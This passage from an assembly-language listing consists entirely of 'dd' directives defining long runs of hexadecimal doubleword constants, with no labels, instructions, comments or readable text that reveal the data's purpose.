301B81D3h, 15E6D903h, 0EC5916A5h, 4ACE895h dd 15F2086Eh, 12C7F1C8h, 183C0E74h, 37D52089h, 0BD1C6900h dd 7354D688h, 5FFD1329h, 0F8958031h, 1B4AE4E9h, 4254C3B3h dd 81EB623Fh, 18459B19h, 92B3D125h, 0C1B7EC5Ch, 9F68F9F7h dd 0B00D352Bh, 9A4FF550h, 3E174CC8h, 2FFCE452h, 3B291F8Bh dd 80DF6A91h, 74B42D2Dh, 602962C2h, 254DD2C8h, 0ECC10C75h dd 51065C95h, 0E703B229h, 74CA14F0h, 46BD90FFh, 85B06C83h dd 0DB1B7E0Ch, 14B5362Eh, 0F8B2E2B8h, 59513F20h, 362449B3h dd 76552E62h, 6B5EA10Eh, 20396346h, 8090506h, 744C7FE9h dd 0CC48A78h, 0C3BA837Bh, 1E1DA4Eh, 0B7E53CD1h, 0A3ADD3h dd 0BB5346E8h, 447C796Ah, 5B5B7F8h, 36A85DD8h, 0B91D74B3h dd 0C3D5F101h, 4F444CB6h, 5C535B22h, 71512F86h, 0C93B5669h dd 3D200F4Ch, 0E62D0546h, 0F1152B4Fh, 590707DCh, 305B9291h dd 10283964h, 0ED05BF6Ch, 5E406E2Dh, 742741ABh, 701B3A4Dh dd 2F1784A1h, 0AB0C4944h, 16AD2E03h, 0A014A851h, 0C741B21Bh dd 41A4A230h, 0CD4020C0h, 0DB4052B0h, 6E5C01B9h, 0F1810A72h dd 1918D447h, 1709E9ECh, 9136A1Ch, 0D3FADED7h, 44AF34B4h dd 16D4DE1Eh, 90662868h, 7194BF69h, 0E5C9049Fh, 73CBAC0Eh dd 0EC799729h, 0E9C20DB4h, 44A9D13Eh, 0E8EEC89h, 4FC18851h dd 0AF1046CEh, 60B90615h, 0E05AAB14h, 0A12DCF0Ch, 1372F835h dd 0A42A6BE1h, 0E380DAD9h, 0F623007h, 926B910Ch, 0E65B2E2Dh dd 820DD236h, 9F5E873Ah, 5A64E551h, 76681353h, 0A6E63478h dd 0EC5C2C6Dh, 3B8E888h, 0EF34B3B0h, 0D8F64CD8h, 2CC0FE03h dd 1C5887Bh, 2099B660h, 2F79E9F5h, 0ADB53C00h, 3A28512Ch dd 593904E8h, 83108B5h, 29094EA3h, 0DCE409C7h, 4B1C4246h dd 0B2E952FEh, 0E66E4A2Fh, 0B0F3BE63h, 0C201B212h, 0AF5D1628h dd 0B4760782h, 5B3EDE2Ch, 680942E3h, 77541442h, 56069A60h dd 44350431h, 0C83D2C05h, 209E008h, 0E216E940h, 270877D4h dd 1E23029Bh, 14C10E8Eh, 5B590801h, 0CCF3C90Ch, 0D26DF7D6h dd 95291308h, 34306D41h, 738D09F1h, 36F62783h, 0DD11E058h dd 0F49D932Bh, 95A0CD97h, 0F2573F3h, 2841B311h, 9523029Eh dd 0A1ED6400h, 1448273Fh, 5B312007h, 0DA5DD85Fh, 20F94CB7h dd 555B5184h, 5409742Bh, 0C0ABE9h, 25B50A8Bh, 85F1CEFBh dd 4B58B168h, 0EC28BFE4h, 334EE9h, 3256B879h, 0D2F576DEh dd 0D196B0D0h, 0DA4268A6h, 0AD1A752Bh, 0E950FD54h, 0F2E44E8Ch dd 4FB859C6h, 0E9152C9Ah, 0A15ABBAAh, 83B323DCh, 0F29E7E9h dd 951E2CDh, 70150B76h, 1B9D93F8h, 0F70D13EAh, 5B5245D7h dd 8336C2C1h, 6B681E41h, 0BD108824h, 0CF0B7FD8h, 5E7D810h dd 0D2202053h, 121831F8h, 0D0E511E9h, 0B0768A2h, 0F34A0896h dd 5014CD02h, 92AE4067h, 658A949Ch, 13FBC53h, 224548Ah dd 8815C88h, 0D2F65B66h, 0AFDD5186h, 50F72D4h, 0FF828CDh dd 0D48F7887h, 7A1C6008h, 544FE240h, 0B450AF5Ah, 475FA19h dd 15E1E237h, 506FBE1Dh, 0C23BD38h, 0E99A1BABh, 4FA15A28h dd 0ADBD5359h, 8068018Dh, 5F550F78h, 0BDC60370h, 7C4C7592h dd 0E9DF2909h, 525F7C71h, 31180340h, 6368C80Bh, 0CAD53066h dd 2F588149h, 205BD402h, 10E57AD0h, 3B1991E9h, 1D671757h dd 91D34AACh, 269659E0h, 37317969h, 2C587A7h, 6604B127h dd 0FE364468h, 58B3BA47h, 8D2587D9h, 966ED807h, 0E07AA4ECh dd 0EBC583E8h, 77CDAE22h, 373A13A0h, 34ED75F7h, 30058DA0h dd 5582BE2h, 0C4A00613h, 0A801005Ah, 0C1D5F742h, 514808E5h dd 0E09920A7h, 0C28012FAh, 1CD9F33Fh, 0D01D882Ch, 6FF24F7Ah dd 0F16CFDD3h, 1D042F83h, 16A1C9BCh, 0BFBA99Bh, 0FDEBA59Dh dd 12136BCCh, 0B614CE2Dh, 0CDA469AAh, 0D4B832E6h, 0DFBE13E1h dd 2D922BA8h, 0D4643F27h, 5F2501B8h, 9CDFF8C2h, 8401F7FDh dd 2B982E38h, 40E74FAEh, 0BDF79DBDh, 0F02C2934h, 902645Eh dd 4053784Ch, 30587E7Bh, 610C2CFFh, 42093F4Dh, 0CBCFBCE9h dd 8253139Ch, 7886B2E8h, 0B0FEC32Eh, 0CC379983h, 0B40AD10Bh dd 968D443Fh, 0CF14BC9Bh, 9429D3D2h, 0C6DD983Bh, 0D2024CE0h dd 0E9EE0111h, 0BBDDC818h, 5A7C1E8Ch, 60266Ah, 20BA58A6h dd 0FCC8D801h, 0E7C1062Eh, 18FEDE04h, 0B578020h, 9A6CCB75h dd 9AA0A81h, 0CF82701Eh, 880CBB8h, 0B6090559h, 787AB842h dd 0FF078120h, 0F25AAD63h, 726500FCh, 0CA813D7Ch, 315F24D2h dd 533409B0h, 0C97D272Fh, 0F4F9BD0Dh, 0D173424Bh, 460D096Bh dd 659F3F94h, 70DE267Dh, 60C0F2DBh, 0AC4E76BFh, 0B6A2F479h dd 0A8F61703h, 26053D90h, 6882044Dh, 8218164Fh, 0BD25DEEh dd 3A8026E2h, 7E791A6Ch, 665BC09Fh, 0E91B135Dh, 0C729A485h dd 0CC3C3916h, 9DB21004h, 0E9D230ECh, 985A7CBDh, 944FE7E2h dd 0E8980097h, 0B84BDB07h, 310BEC61h, 95305AD0h, 0B05914C2h dd 0F23FEC1Dh, 9FF6AA8h, 0D8ECE9DAh, 965CFAC8h, 89AE8C0Dh dd 2D38FCF8h, 80CC6F4Ch, 284CC96Ch, 9BA37709h, 9C5E8ABAh dd 0C3CAFE42h, 54EAF041h, 0A6B4B430h, 4AE22FEh, 124DECB9h dd 8A00EB1Fh, 831C02F1h, 0BAE92D0Ah, 0D299CE63h, 50EF055h dd 0FB528016h, 5F041EB8h, 822EBAF0h, 0F665C503h, 607E78Ch dd 13D5B006h, 0BDBAC2E9h, 1BB20458h, 68D4D128h, 20BD49A8h dd 842F2D9h, 0C027486Eh, 0D680A7E2h, 7BF0C61h, 0C205D170h dd 0E9D32780h, 958EB20Ch, 473B0F53h, 9218F24Fh, 0BA74FAB9h dd 0FB50581Ah, 5EAA0D85h, 0DB750B29h, 708AEF10h, 5D122D1Fh dd 74B96A09h, 0D6BABBB4h, 29439A04h, 4B5487F9h, 7641ABB1h dd 0D28B483Ch, 49E9E1E0h, 0C74BB76Ch, 0A0B785D9h, 6EE768F4h dd 2A30E68Dh, 922A58E4h, 0C84821D2h, 44AB0592h, 12A174F0h dd 4BE2DFC0h, 35610054h, 2FA622D5h, 878E0C1h, 8F262801h dd 58C589BFh, 0E5DA007Bh, 7A6425Dh, 0DA09F5ECh, 8E14FA60h dd 0EFFE22DBh, 5BBF78EBh, 80E1D85Fh, 4F95B152h, 0C614F8F5h dd 58882BBAh, 2C11669h, 9A6704D8h, 0B0B9023Dh, 5306A729h dd 1693B086h, 2DDB5252h, 0F817A92h, 4A3503E0h, 0D42385E7h dd 510D7F7h, 4012FFEBh, 0A9A21BFCh, 5B0B82D4h, 68DD815Fh dd 643C7E27h, 0D1002BDAh, 5A0288CAh, 9646E919h, 56E15487h dd 15D868D1h, 985E7808h, 0F723EA8h, 1EC15B12h, 4F24F65h dd 525E1F43h, 468D01BDh, 0E710213Eh, 78BF6FAh, 0F21F3273h dd 720347EEh, 283EA15Ah, 7B06762Ah, 0D1411AEAh, 17C22A1Ah dd 0AE5E0805h, 0AB922h, 7463C8B9h, 39BE0C00h, 1F38B9Ch dd 2E919CEh, 7F29CCC4h, 4E9EAD40h, 128734A8h, 8047E9EFh dd 80B0B3D7h, 0D84CC32Fh dd 0E11E90CAh, 25C5D1C3h, 0CB82EDF4h, 50854920h, 0C372BFC6h dd 0B607501Bh, 50D449EAh, 45C44B53h, 0E1F8E9E0h, 0E4932B55h dd 0AD8B3F22h, 0E9F4CE12h, 0C3E73092h, 1E07EDC0h, 0CCFACD80h dd 0BE541838h, 0D3277A0Bh, 0A0AA0E05h, 0F7282E12h, 4004D6D9h dd 0E05DFD1Dh, 1C4810E9h, 2D028026h, 4A262B0Bh, 0FBAE8069h dd 0E93E220Eh, 9D55C120h, 7383894Eh, 0E65FCFECh, 3E5C48F5h dd 0E93389E3h, 59AAA694h, 906813D3h, 650F603Eh, 78B01A07h dd 0F1017625h, 42FBA569h, 0C81F0BC9h, 0D3BC5D4Ch, 7B73F166h dd 94D6BC8Ch, 3368054Ah, 13C5E05h, 6281756h, 4C276C5Fh dd 3EFB0477h, 0A4843F3Ah, 7AFC3DE5h, 68381203h, 1D73C429h dd 0AD914B08h, 0BBF94AFh, 7B1093C4h, 793B7480h, 5C33BE6h dd 125326Ch, 86510AEh, 0E9525F06h, 0B31FD390h, 0BFFCD01Dh dd 0FAF35B4Fh, 9C790C93h, 890BEB65h, 5361F07Ah, 0CE9B095Dh dd 173EA065h, 9ED7F171h, 54DE7072h, 6CC56084h, 2DB3503Dh dd 252D5F16h, 0C6E1B020h, 8F29E92Dh, 4554A295h, 64FB5443h dd 0B52E92EEh, 0C05C9E61h, 109D2CE8h, 9E78E9E1h, 0DC8439A1h dd 0FE4A5014h, 162CBE04h, 0EE020214h, 24F0666h, 6DA04A43h dd 217C19CAh, 0F5D4Ch, 272C6301h, 3D5EF389h, 0FF2E3D1h dd 2E5657FAh, 0E810EB0Ch, 3ABA431Fh, 2A9FF380h, 2D0BDCh dd 59C65CB0h, 4F69FD05h, 0D829411Fh, 0E9250728h, 4CD98B4Ch dd 3BFBA1E5h, 0FC750693h, 0BA6275Dh, 0E5DF5E15h, 0C5FDE25Dh dd 41EBCABCh, 0BF754C16h, 64A2306Fh, 79E33112h, 89DC13h dd 0FAAE2F41h, 1A45FF05h, 23B82C42h, 0BD5609C0h, 0F07F016Bh dd 3913F45Ah, 0D202238Dh, 6111C25Ah, 5B00B6E8h, 0AE5EB551h dd 382173B1h, 0B0666B70h, 417D243Dh, 569FC0D6h, 0CCC0771Ah dd 94B1E0FAh, 0C0D95EE9h, 6E055FBBh, 39B0461Eh, 5A90BDD3h dd 3B7326F5h, 0CD027E02h, 6787553h, 7A072CDCh, 0F197FFFh dd 95EC3326h, 0E1691A9Eh, 3D385CC0h, 0D68079BCh, 817A8011h dd 131209E2h, 0C00664Fh, 3B34DB2h, 0C5EA0125h, 32328D2h dd 1CAE07C1h, 0C6F2D601h, 9E5A0887h, 21712F2h, 6350319Ch dd 0DC6A2C41h, 8BB77D6Bh, 9FF096Fh, 0E76D8215h, 0C696198h dd 0E8D916A5h, 8DE1CB03h, 0EC90059Ah, 0F235EE14h, 0B9660BE8h dd 62A45602h, 90D50C53h, 0D2321697h, 592C16CCh, 38450CA9h dd 0F868173Ch, 1E89AC5Eh, 9A82AD1Ah, 804C9D20h, 72586FBDh dd 0EDC10B04h, 826F8E04h, 816BB96Eh, 880620B7h, 345B925Ah dd 12A6E957h, 13408A1h, 46F4C002h, 62794074h, 0AFA4BD0Dh dd 0F1B3B52Ch, 885A6425h, 0CE59CC32h, 0B6EFAF1h, 111061EDh dd 1F6F9903h, 8FEEC735h, 0A1DD2AA2h, 206A1149h, 0C010993Dh dd 0C1BA028Dh, 400ED72Fh, 2E7AADA6h, 31B4A42h, 0B860D84h dd 240B870h, 95EC7880h, 0F2B04FE3h, 30ECD0C5h, 40E9C217h dd 0DE01C541h, 2861295Bh, 602E7561h, 0EB0558C9h, 4D5C0D72h dd 129F1C23h, 81E174D7h, 0E9A30343h, 0D820278Fh, 0CF6897AFh dd 4582F838h, 62F12C0Ch, 0BB002506h, 14F914D5h, 0FDD3F712h dd 2E11F4Ah, 1F9E5813h, 0B8072275h, 0F8290223h, 0C510E1h dd 5805CB81h, 0D948484Eh, 0F7C02E3Eh, 205ADA4Ch, 15916C6h dd 3063ECDFh, 31FD6195h, 6F09E067h, 4EDBF0D9h, 0A57DFC99h dd 4EBCD818h, 2F4EF750h, 160F785Ch, 612FD668h, 0AD8CED07h dd 0B096405Ch, 32F195A8h, 0E03EC980h, 9C886837h, 3FE90B5Eh dd 55526860h, 0B8805A5Bh, 4A075F6h, 0E9D5316Ch, 6851D02Fh dd 0E69D3D1Dh, 4F3A0918h, 40804EB7h, 63953BF6h, 61342E9Fh dd 36AF5193h, 0FA616860h, 0E92A0986h, 5D65208Ah, 0B726E3A6h dd 171C5E4Bh, 20BA813Ch, 42827BC1h, 384EF059h, 0E33097B4h dd 0FCCB8016h, 0E02813B0h, 0F1F2A408h, 56F6BA25h, 28F303A1h dd 223B59CBh, 0B8A14BC9h, 59AD06D6h, 312E7F2Dh, 36205150h dd 58321729h, 12481760h, 1E61AAFAh, 58022D81h, 2545562h dd 535B026Fh, 3F127557h, 7D3F537Bh, 51814AE4h, 177AB5D9h dd 0F8BD98ACh, 7CC0C882h, 2D54829Fh, 0B79FC669h, 0BBA14D60h dd 5140B6B6h, 3B25250h, 80EAD057h, 0E298CECAh, 0C248FE3Ch dd 0D7B424C8h, 3D84CC13h, 11022AEh, 20298540h, 0DE7B1ABFh dd 0BFC5A57Bh, 0BB917B27h, 0BE1930B6h, 2D16C497h, 3CA934C1h dd 21451E02h, 0C214B754h, 378E4008h, 0FD64A855h, 0EDE62AC6h dd 0BC50F194h, 82F341A3h, 1FF23F5Ch, 860F7F0Dh, 1DE118D7h dd 91821CEh, 8F56732Eh, 0F0106432h, 7F182F0h, 0BDA11AEAh dd 6B66C331h, 4340BF0Dh, 1F90016Eh, 60558734h, 3C1E2091h dd 0EA17764Ah, 4A56DEB0h, 84B8E9FEh, 0C0162129h, 0EC886413h dd 0C4D4F680h, 0FFB00EF0h, 72F00929h, 523594BBh, 0C92841FEh dd 1842BF20h, 2B8DC8E9h, 10B502ECh, 0B207CBBh, 0EDFE9EAh dd 0E1FCFE2Bh, 0D46E580Bh, 70D1C91Fh, 74DC72C1h, 4B2FC7F9h dd 0E47E4F9Fh, 0E9030630h, 25009654h, 0E8A43F71h, 0E9E7A127h dd 0D16B8AA2h, 3DB908E2h, 3737DFB0h, 4C1495F2h, 0E2B62739h dd 6F2062CCh, 0F12812B5h, 3E98F85Ah, 139D7DEBh, 90B28F14h dd 0F0C78923h, 0A4E0836h, 5D02A43Eh, 559C7EE9h, 0DF9C19E6h dd 16164089h, 9A4D333h, 936639D4h, 55E4B00h, 31C4356Ch dd 5023182Bh, 255850F7h, 3913DC70h, 59E84074h, 0F8A254B2h dd 71FCF301h, 69667E69h, 253BFCDBh, 550491F9h, 92C8E2Bh dd 90A30DE9h, 0F05EA25h, 0FE2978CEh, 3A7E55A9h, 97C8F097h dd 12B95839h, 9D3F03D6h, 1CE60B5Dh, 806AC945h, 0A83BFD58h dd 962D7B7Dh, 843044A7h, 0C36813E3h, 8473C92Ch, 0DF8E9F8h dd 4C0F4B4h, 1197472h, 480810F9h, 50B260ADh, 0EF5ED05Fh dd 3B48EF79h, 0ABEAC44Ah, 0E1ECD18Dh, 24DABAD9h, 52655934h dd 80258C1Bh, 0EBE3180Ah, 2FBD1316h, 0D9619131h, 44D826A2h dd 5B2A68AFh, 0E92F1D69h, 0D1806041h, 598299E6h, 17133AC4h dd 0F24B488Ah, 67762452h, 5149BA6h, 607E0BBFh, 0E69502E0h dd 42AF5622h, 0BA515455h, 0B8427568h, 97350041h, 10752847h dd 0A61E1A02h, 7C012D6Ch, 3774195h, 0CD8E20ADh, 0D321780Ch dd 9008841Ah, 0C0609A0h, 0C004761Fh, 8F38FF44h, 0BA81FF73h dd 1D2934B9h, 0D6D0606Eh, 5CC14180h, 97A03E1h, 4EF9E7EEh dd 67099256h, 0CD7E7C0Bh, 0D6F22ACEh, 29D25CE1h, 88791047h dd 5809E84Ch, 8451DC30h, 3B18E4A4h, 16AEC253h, 863567Bh dd 680BB303h, 0A244708Eh, 591555E6h, 9FBCE90Ah, 9CB14EA5h dd 93310D0h, 72A0D8E9h, 0A0555B0Eh, 0F3BECE27h, 0C08DB440h dd 310273E4h, 800D08ECh, 1BB760F4h, 8835B792h, 4BFACF0Bh dd 34ABB827h, 0E9F057D4h, 75B25E4Ch, 0AD31EFAFh, 8FA687DEh dd 370D0077h, 35724567h, 8029821Dh, 0FCA47ADh, 0B4D266E9h dd 4079590Dh, 0F1C4D72Fh, 5DF0BC79h, 0E64A7537h, 1F7E1208h dd 580C70EAh, 184A0368h, 0B5FBD38Ch, 36F4C509h, 0A86C1A59h dd 87228458h, 9BF5C15Eh, 49475CCEh, 13935B04h, 0E81309F6h dd 0A61E215Dh, 7E8205DEh, 0B8AEA0B0h, 2F819BEh, 68D9BF59h dd 7342DE76h, 12BC0171h, 43F904D4h, 3CB5A197h, 6EDB4D4h dd 4BEC6808h, 0E281E909h, 0FF12DD31h, 98FEC62Ch, 103B9581h dd 4620A8E7h, 0C911C9A0h, 89B9A416h, 0BE4AE60Ah, 0E3C189h dd 0DCEC3B3h, 303D7E2Fh, 0ED1DCB57h, 2A984505h, 0AB95A20Ah dd 925C601h, 0F604756Eh dd 0B2A0870Eh, 14D74488h, 9C05F849h, 685102ABh, 0D79841CCh dd 8816F3B4h, 0C00F58E1h, 0FE1A209Dh, 60E8C0C8h, 2C060605h dd 0C10430CEh, 0BDEB8058h, 0CB28E703h, 6DE7C75h, 18D5D1E5h dd 0D601F170h, 0F27A5A73h, 0F32A3C27h, 92ADBD94h, 0F6DEDF09h dd 0CFD5E0C4h, 0EB8E4BAEh, 0D0681EA1h, 5016675h, 2AFE2F82h dd 0C66E67A1h, 429813C6h, 4B242CB0h, 3D0B0F22h, 680D30D8h dd 8F51E706h, 2D6B8CE3h, 0A5552EF3h, 50ED9364h, 7523A089h dd 7202D8F7h, 4B823090h, 133DE47h, 1176C4E7h, 0EBC701Eh dd 3B05221Fh, 299FEF07h, 87E90651h, 0AC4A2928h, 0F70DD81Ch dd 200B97D6h, 2BE523A2h, 0F50B674h, 0E0C85BAFh, 854BD1ACh dd 0E15D88CDh, 982586E1h, 926E8A01h, 0E0BB5300h, 200414B8h dd 5E5BDD01h, 68B702AEh, 195527F7h, 0DD3E74B9h, 5C638DCEh dd 84BC14D3h, 0CA8379C2h, 0BAEAE898h, 0A7201445h, 4601AA3Dh dd 0C13F6B47h, 2D6A78E2h, 7FDAA9h, 0F8F9BFBAh, 6457B951h dd 0F743AF0Ch, 13AACD1h, 0C13ED523h, 214B02EBh, 805DD29Fh dd 0FE15F3D1h, 0BCF94B46h, 0EEB35E54h, 66828B91h, 0AD64BB0Fh dd 50BD3160h, 753929B8h, 670CB5D1h, 513668Ah, 5A074780h dd 42962624h, 1CDF092Ah, 0C25E2A72h, 3079A26h, 3E80F181h dd 4829E7F9h, 0BB848FC8h, 34EE1216h, 0ED0D844Ah, 0AEE91645h dd 5A2C42E0h, 0EA8D897Eh, 0CC81421Ah, 6DD295E8h, 4BEA2D06h dd 13727B15h, 0F4AD2BE9h, 0B4BAF9C2h, 0F20524Eh, 0B7D78957h dd 0EA64D58Ch, 30617601h, 0E45BE938h, 1069F79h, 46024E10h dd 0C3B82097h, 76F325CFh, 0CCCB0963h, 3C8F0358h, 1F40BE21h dd 6A8D4072h, 2C09202Eh, 6631FDE9h, 4B990049h, 0F78114ABh dd 0A448160Ah, 875C2441h, 67D6BD81h, 0A97424F4h, 17F50281h dd 1B2AA6Dh, 0B82462DEh, 0F68B52AFh, 24697CDh, 5746E295h dd 2B88B3C5h, 0E6810044h, 1BF85441h, 1FC3D15Bh, 451A3B1Eh dd 0C89DD612h, 68975970h, 11B6871h, 5B5D6E0Eh, 6E38E943h dd 24F61113h, 0F060914Bh, 774789D1h, 52EFD63Ch, 0E9435051h dd 0DCABD463h, 0E14FF718h, 53C979A6h, 75982800h, 893A7159h dd 0F65028CBh, 8331B000h, 42E2D14Bh, 76EA67C1h, 7D29E1CAh dd 0ABF2D844h, 0F35CE5EDh, 0E9F3D8F8h, 8889D92Ch, 1CDDBF01h dd 297119B8h, 64F25721h, 397C0B1Ah, 0B1D479D6h, 0F65E3782h dd 81E05D1Ch, 0F8044BD4h, 0FEE6E983h, 1484AD9h, 7D251648h dd 5350167Ah, 2DC24999h, 0BA4B02DBh, 0D2EA1060h, 0F8218025h dd 65D02397h, 0BE140013h, 5A9B0C57h, 0BD253B9h, 112A6A8h dd 841CEDCEh, 5ED9999Ch, 0BE08A2Fh, 0B05A7268h, 80831778h dd 53ABA66h, 3E6F4C35h, 0EA0A61C1h, 29F85138h, 0E95A12D5h dd 21D4C13Eh, 0FAB52ED3h, 1AF9B241h, 5B2930CCh, 0C09D64D8h dd 702F136Ch, 96A4055Bh, 0CC8E4F1Ah, 0B5F1949h, 524CB4CBh dd 6CC51425h, 2882BD08h, 0B8194A67h, 3412D093h, 7EED405Bh dd 0AA283A12h, 93FBAA33h, 87084FDFh, 0E7098BCAh, 5F7685D0h dd 0E9D2132Ah, 534B2E90h, 0B5B2E2h, 4C22F061h, 0F7984901h dd 0A1BFBECBh, 432D90B4h, 3FEEF730h, 472A4E07h, 54ED9FF0h dd 902F325h, 0E9198243h, 0ECFA485Eh, 384D36EFh, 30110DAFh dd 0F22EBC31h, 990DE41h, 0B6525A00h, 280704A3h, 0D051F02Fh dd 0B4E1099Dh, 742E9D0h, 52253A2Fh, 0EF8C52B1h, 1E61D041h dd 1B610214h, 0EA57F603h, 0A1A07D69h, 5F282DF5h, 0EFB02F5Ah dd 0E0F44F10h, 5977AFB3h, 1018404Ah, 0CA0FC12h, 0CDE9EF2Eh dd 0D83C0175h, 29CF2653h, 27E4AD9Dh, 94CD903h, 0E8F7B20Fh dd 0B7081F65h, 0BBD7809Bh, 0A47D5132h, 9EAF592Fh, 0D65525AFh dd 2F4CE06Dh, 0ED7ABD08h, 29219806h, 9DA58C5h, 3C10191Ah dd 3D7E7550h, 3008C39Dh, 83F002D2h, 0CB4DDE4Fh, 3FE140F9h dd 5B636EB7h, 5362B4D2h, 0E358140h, 433F7BC6h, 7765F2AEh dd 0ABED8278h, 2974C92Eh, 708F778Ah, 0B51EB1C4h, 8DECB8Bh dd 0EE4DDAFAh, 0AD543B76h, 2A8720Ch, 4C423868h, 56E85E61h dd 7EC0F23Ch, 7EEDCCC6h, 16564E20h, 504FFD3Dh, 0CA5AA58Ah dd 31131DF3h, 0C46CECC0h, 4BAE8F88h, 37E2E7D4h, 7968DB40h dd 3BF3185Fh, 0E880885Eh, 0E00AE16Bh, 253326C9h, 0C3490607h dd 0F7042ADFh, 2DC2C040h, 983A43EFh, 63113146h, 90DA0C4Eh dd 376582B5h, 32798BA9h, 0C05BEAA7h, 82B32AD0h, 0FCC0A77h dd 0BE340706h, 961F201Ch, 69965550h, 682513B2h, 8A107E58h dd 427F9264h, 12D4807Ch, 42A6094Fh, 0CB1E56C3h, 0C7104889h dd 0CB9DE1F6h, 0D368A0DBh, 0E8E95F62h, 449E71CDh, 8501FD52h dd 4CA35AE9h, 371F3A93h, 0F117352Bh, 7225A5B0h, 33E61E24h dd 0CC54C948h, 524BBFCEh, 5D662902h, 870564Bh, 0D81607E7h dd 0F137010Bh, 526A0234h, 0AA856771h, 41AADDCh, 68322C65h dd 74C81A80h, 2235A4Eh, 479802D4h, 8103CFC8h, 0B0CE207h dd 226F511Ch, 413BAD9Ah, 8F41D69Eh, 67025EEh, 0F4295043h dd 76312F68h, 0EA4CE898h, 181E017h, 9DFB65E0h, 232643D3h dd 667F27AFh, 17C36E59h, 0BC785368h, 581ED172h, 0FBBD4A2Eh dd 0EEF4AFCBh, 6C7F8F42h, 0A6E7207Ah, 0F1537B9Eh, 5B02221Bh dd 25BC3F6h, 2DDABE40h, 0FD61687Fh, 6DB32008h, 8F881851h dd 0C65B1C0Ch, 90E4E25h, 0D0F4158Dh, 773A4F00h, 81987DA7h dd 5FC48754h, 0F360EE9Ch, 486203A5h, 0B4EF738h, 0BB98337Bh dd 0E3B78864h, 59D33B00h, 1E614A25h, 0D4E9E72Ch, 636B23A2h dd 232196Ah, 0B466B920h, 0D980AF7Eh, 4CE1254Eh, 0A8CE2934h dd 1590802h, 614F7EF7h, 78F329E9h, 9168C296h, 8898A25Dh dd 7712FD15h, 21FC4FCCh, 171CC253h, 5530380Bh, 0BC5E5456h dd 0EBD9C747h, 0D2E49376h, 9D39E5B4h, 0F5BD0480h, 785FDE64h dd 0E5309BF1h, 0C751262h, 3D261E77h, 0CA008D1h, 0EFD2D217h dd 125CD47Ch, 0A2E4CCE9h, 0A7F45B13h, 17AB6B11h, 2E4CB5D4h dd 0D88E9791h, 1A62FCD7h, 75287E57h, 0B6980634h, 5424C867h dd 69D57E5Bh, 47FA338Bh, 4BB7A298h, 550C01A0h, 0E9619414h dd 0BBCD3427h, 0DB11A112h, 92C33600h, 0C16B2C1Bh, 72D2FF2h dd 82122EBAh, 54F4CDD4h, 51A74C65h, 8A58E4F5h, 31B3BE5Eh dd 0A7E8C52Eh, 71A049B4h, 331663EDh, 0CF212947h, 0B440558h dd 0B0F549FBh, 0BBFDACC3h, 84346C14h, 45ADD25Ch, 0BBFA75D3h dd 7056D609h, 86E0B732h, 88807DA0h, 3BD0E4DAh, 0C7175B5Ah dd 2187A158h, 3E18EDB8h, 0B529442Ch, 92519242h, 0A885ADA4h dd 8E00D164h, 0C91428C7h, 0EEF7EC4Ah, 9055FE5Ah, 6FB64912h dd 5B2554C4h, 5D5ABA50h, 88539B8h, 62354630h, 4E3C128Ch dd 0F74C9055h, 7A722B65h, 89D7E917h, 54C498F8h, 0F8CFABBBh dd 0A9223313h, 0D69A9113h, 0DE591D04h, 8304FD14h, 0C00C3C5Eh dd 10CE8AFBh, 5E16774Eh, 9606ECB0h, 244B3C1Fh, 9A31BF3Ah dd 70112F63h, 0DEE2782Dh, 20FEA352h, 96802D0h, 69894853h dd 31B20449h, 20BB34EEh, 3A793FCBh, 0AF056E02h, 550B8A21h dd 0A150DF04h, 1B26400Bh, 2609515Eh, 720C81E9h, 0A8C52073h dd 80FD281Dh, 856610C9h, 4AACD4C3h, 0ACD6E9C5h, 7B694291h dd 16EAC635h, 0FE16DEADh, 0D6C1B82Eh, 0A78C2104h, 14C179BCh dd 2F3A5069h, 65EEB8C0h, 7A912E3Dh, 38FE0370h, 1803498Eh dd 1A40471Fh, 75C4B429h, 6E650813h, 2C546EAh, 0BB9864A5h dd 72F256ECh, 0BF710095h dd 7ACE42A7h, 5435F13h, 0AF6C0151h, 7AB1B030h, 0A8614877h dd 4D386C4h, 32D85854h, 7555012Dh, 0B3E923E5h, 66149307h dd 1A794CF8h, 602E2C0h, 0D350D605h, 0B8AA5893h, 9ABAF4E4h dd 37F7ED07h, 0E56776A0h, 3DC45741h, 1324F5F0h, 0BC088044h dd 830288B6h, 27D8E952h, 40BA0D02h, 706F7061h, 39449548h dd 3524C509h, 0F312A8FDh, 28E68308h, 65A01570h, 0C22DD723h dd 55E62421h, 0F281C889h, 3468EF1Ch, 615B7C72h, 18801693h dd 4D765A88h, 1A9DB5E9h, 15027572h, 7C6CAC71h, 0BB02794Fh dd 667EEC68h, 6B4C94E1h, 0ECC0AB04h, 97AD9293h, 0AD385062h dd 51B4B566h, 0EFC3C8CBh, 0E1719509h, 0BEC247A5h, 2B786D5Bh dd 50218F2h, 15805D11h, 9835A048h, 463F409h, 778C8901h dd 0E14EA812h, 0D2685701h, 5F5D1218h, 819C026Fh, 0D5E016EFh dd 0F526E919h, 0FA84B6B5h, 0B8C7505Bh, 5A58C361h, 4FE9DDE8h dd 0F81895B2h, 7C84C9FFh, 0E07413EBh, 680E0D8Eh, 84735F13h dd 16A22DAEh, 0A9BE5600h, 0E95B0664h, 1AF6732Dh, 7B1DFC7Ah dd 0BC020C22h, 91BA63D9h, 0F04C8F64h, 73C96806h, 9D61EE95h dd 50C5EAD9h, 0F51F2844h, 0FA06F310h, 0C133357h, 3F79B705h dd 0ED87456Fh, 97D74E79h, 634945A0h, 5B4B4471h, 0DA3F8ACBh dd 0B3A4116h, 955E39D0h, 0C64DACBBh, 0EF0BE7ACh, 7FB56484h dd 16134B50h, 65D6EBB9h, 5B0769A8h, 0EBD19981h, 7C08C9C1h dd 7D6809ECh, 4A8C9A45h, 0F9165DAFh, 0E907095h, 40E64905h dd 0AAE9817Fh, 40746803h, 7F0D6DBAh, 1A411530h, 32DB0848h dd 217631F4h, 20E5E477h, 5B7E0A8Dh, 9091C35Bh, 56918AFh dd 3826ABD2h, 68870C90h, 1BD76DE0h, 0AB05E3h, 0C0FD2C50h dd 439601B7h, 9A4223AEh, 0EC50986h, 0AD311127h, 0FA084BCAh dd 0B9540457h, 0E4DD1042h, 79320848h, 97286C0Bh, 88F158C5h dd 76D4EE31h, 0BF265C49h, 99010F07h, 43F3602Bh, 0FA4CB075h dd 0EC705FFh, 0CBC45048h, 4A1B5880h, 0F7600C18h, 1FD642DAh dd 4F9FA700h, 0B8E9D629h, 8B049E16h, 0F44CA468h, 8180B3FCh dd 3BC30DCEh, 0C1565AA5h, 314860F9h, 0F7898DA0h, 47C9397h dd 33E95FB9h, 2556ADA6h, 79128B1Dh, 